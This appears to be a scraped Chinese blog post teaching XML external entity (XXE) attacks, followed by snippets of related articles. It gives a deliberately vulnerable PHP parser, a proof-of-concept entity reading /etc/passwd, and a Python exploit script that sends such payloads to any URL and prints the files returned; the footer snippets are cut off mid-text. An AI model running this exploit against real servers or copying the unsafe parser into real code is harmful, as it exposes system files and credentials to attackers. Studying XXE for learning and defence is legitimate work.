XXE攻击学习

环境:lAMP

simplexml_load_string.php代码内容

<?php

$data = file_get_contents(‘php://input‘);

$xml = simplexml_load_string($data);

echo $xml->name;

?>

POC:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

EXP:

import urllib2

if __name__ == ‘__main__‘:

print u‘输入要读取的文件,如file:///etc/passwd‘

payload = raw_input()

print u‘输入要访问的地址,如http://IP/simplexml_load_string.php‘

url = raw_input()

#url = ‘http://IP/simplexml_load_string.php‘

headers = {‘Content-type‘: ‘text/xml‘}

xml = ‘<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "‘ + payload + ‘" >]><root><name>&xxe;</name></root>‘

req = urllib2.Request(url = url,headers = headers, data = xml)

res_data = urllib2.urlopen(req)

res = res_data.read()

print res

原文地址:https://www.cnblogs.com/NBeveryday/p/8124539.html

时间: 2024-10-17 12:18:16

XXE攻击学习的相关文章

XML External Entity attack/XXE攻击

XML External Entity attack/XXE攻击 1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存储数据.XML应用极其广泛,如: * 普通列表项目文档格式:OOXML,ODF,PDF,RSS…… * 图片格式:SVG,EXIF Headers…… * 网络协议:WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML…… * 配置文件:Spring配置文件,St

神奇的Content-Type--在JSON中玩转XXE攻击

转自:360安全播报http://bobao.360.cn/learning/detail/360.html 大家都知道,许多WEB和移动应用都依赖于Client-Server的WEB通信交互服务.而在如SOAP.RESTful这样的WEB服务中,最常见的数据格式要数XML和JSON.当WEB服务使用XML或者JSON中的一种进行传输时,服务器可能会接收开发人员并未预料到的数据格式.如果服务器上的XML解析器的配置不完善,在JSON传输的终端可能会遭受XXE攻击,也就是俗称的XML外部实体攻击.

XXE攻击

1.背景 现在很多应用都存在XXE(XML External Entity attack)漏洞,就是xml外部实体攻击,比如facebook,很多XML的解析器默认是含有XXE漏洞的. 2.xml的定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素.两个采用不同技术的系统可以通过XML进行通信和交换数据. 例如: <?xml version='1.

php xxe 攻击

php entites: 预定义的:&<% 一般实体:<!ENTITY general "hello">,调用方式:在<a>&general;</a>,不能包含在属性中. 参数实体:<!ENTITY % param "world">,调用方式,立即使用:%param; 一般实体和参数实体都能包含内部资源(DTD) 和外部资源 危害: (1)本地文件读取 <?xml version="

XXE漏洞学习

0X00:前言 介绍: XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取.命令执行.内网端口扫描.攻击内网网站.发起Dos攻击等危害. XML外部实体注入(XML External Entity)简称XXE XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件. php函数simp

ado.not--数据库防字符串注入攻击学习及 练习

数据库防字符串注入攻击:cmd.CommandText = "update student set [email protected],[email protected],[email protected],[email protected] where code = @Scode";cmd.Parameters.Clear();                ---------一个集合cmd.Parameters.Add("@Sname", Sname);cmd.

XXE漏洞学习1

1.test.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY name "my name is zwish">]> <root>&name;</root> 测试一下是否能解析xml 2.是否支持引用外部实体 <?xml version="1.0" encoding=&

[Web安全] XXE漏洞攻防学习(中)

0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进行抓包,点击Any bugs?按钮,抓包如下: 可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据. 既然是XML数据,我们就可以自己增加一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行xxe攻击 获取系统密码文件 payload: <?xml ver

从零开始的xxe学习

本文介绍了一个菜鸡对xxe的一步步学习(内容多来源于大佬的博客,先感谢一波) 涉及知识点: (1)xxe 目录: 解析: 1.xxe是什么(不详解了,网上很多的) XXE(XML External Entity Injection) 全称为 XML 外部实体注入.(重点在外部实体) 2.xml基础知识 示例代码:test.dtd <?xml version="1.0"?> // xml 文档定义 <!DOCTYPE message [ <!ELEMENT mes